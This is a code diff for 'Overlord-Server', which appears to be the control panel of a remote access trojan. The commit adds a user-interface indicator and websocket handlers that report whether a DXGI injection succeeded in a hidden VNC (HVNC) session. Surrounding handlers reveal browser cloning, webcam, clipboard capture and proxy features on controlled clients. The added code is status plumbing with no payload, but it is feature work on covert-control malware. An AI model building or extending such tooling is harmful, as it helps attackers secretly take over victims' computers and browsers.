add a way to show if HVNC DXGI injection actually worked

Overlord-Server/public/assets/hvnc.js

@@ -346,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js";
     cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
   }
 
+  const dxgiStatusEl = document.getElementById("dxgiStatus");
+  const dxgiStatusIcon = document.getElementById("dxgiStatusIcon");
+  const dxgiStatusLabel = document.getElementById("dxgiStatusLabel");
+  let dxgiHideTimer = null;
+
+  function handleDXGIStatus(msg) {
+    if (!dxgiStatusEl) return;
+    if (dxgiHideTimer) {
+      clearTimeout(dxgiHideTimer);
+      dxgiHideTimer = null;
+    }
+    dxgiStatusEl.classList.remove("hidden");
+    dxgiStatusEl.classList.add("flex");
+    if (msg.success) {
+      dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400";
+      dxgiStatusLabel.textContent = msg.message || "DXGI active";
+      dxgiStatusLabel.className = "text-emerald-300";
+      dxgiHideTimer = setTimeout(() => {
+        dxgiStatusEl.classList.add("hidden");
+        dxgiStatusEl.classList.remove("flex");
+      }, 8000);
+    } else {
+      dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400";
+      dxgiStatusLabel.textContent = msg.message || "DXGI failed";
+      dxgiStatusLabel.className = "text-rose-300";
+      dxgiHideTimer = setTimeout(() => {
+        dxgiStatusEl.classList.add("hidden");
+        dxgiStatusEl.classList.remove("flex");
+      }, 10000);
+    }
+  }
+
   function sendCmd(type, payload) {
     if (!activeClientId) {
       console.warn("No active client selected");
@@ -721,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
         handleLookupResult(msg);
         return;
       }
+      if (msg && msg.type === "hvnc_dxgi_status") {
+        handleDXGIStatus(msg);
+        return;
+      }
       if (msg && msg.type === "hvnc_error") {
         console.error("hvnc: server error:", msg.error || msg.message);
         return;
@@ -748,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
       handleLookupResult(msg);
       return;
     }
+    if (msg && msg.type === "hvnc_dxgi_status") {
+      handleDXGIStatus(msg);
+      return;
+    }
     if (msg && msg.type === "hvnc_error") {
       console.error("hvnc: server error:", msg.error || msg.message);
       return;

Overlord-Server/public/hvnc.html

@@ -100,6 +100,13 @@
             </div>
             <span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
           </div>
+          <div
+            id="dxgiStatus"
+            class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
+          >
+            <i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
+            <span id="dxgiStatusLabel">DXGI</span>
+          </div>
           <div
             class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
           >

Overlord-Server/src/main-server.ts

@@ -87,6 +87,7 @@ import {
   handleWebcamDevices,
   handleHVNCCloneProgress,
   handleHVNCLookupResult,
+  handleHVNCDXGIStatus,
   handleClipboardContent,
   handleRemoteDesktopViewerMessage,
   handleRemoteDesktopViewerOpen,
@@ -605,6 +606,7 @@ async function startServer() {
     handleWebcamDevices,
     handleHVNCCloneProgress,
     handleHVNCLookupResult,
+    handleHVNCDXGIStatus,
     handleClipboardContent,
     cleanupVoiceViewer,
     stopConsoleOnTarget,

Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts

@@ -82,6 +82,7 @@ type WsLifecycleDeps = {
   handleWebcamDevices: (clientId: string, payload: any) => void;
   handleHVNCCloneProgress: (clientId: string, payload: any) => void;
   handleHVNCLookupResult: (clientId: string, payload: any) => void;
+  handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
   handleClipboardContent: (clientId: string, payload: any) => void;
   cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
   stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
@@ -586,6 +587,9 @@ export async function handleWebSocketMessage(
       case "hvnc_lookup_result":
         deps.handleHVNCLookupResult(client.id, payload);
         break;
+      case "hvnc_dxgi_status":
+        deps.handleHVNCDXGIStatus(client.id, payload);
+        break;
       case "clipboard_content":
         deps.handleClipboardContent(client.id, payload);
         break;

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -610,6 +610,17 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
   }
 }
 
+export function handleHVNCDXGIStatus(clientId: string, payload: any) {
+  for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
+    safeSendViewer(session.viewer, {
+      type: "hvnc_dxgi_status",
+      success: !!payload.success,
+      gpuPid: Number(payload.gpuPid) || 0,
+      message: String(payload.message || ""),
+    });
+  }
+}
+
 export function handleClipboardContent(clientId: string, payload: any) {
   const text = String(payload.text || "");
   const source = String(payload.source || "");

Overlord-Server/src/wsValidation.ts

@@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
   "webcam_devices",
   "hvnc_clone_progress",
   "hvnc_lookup_result",
+  "hvnc_dxgi_status",
   "clipboard_content",
   "proxy_data",
   "proxy_close",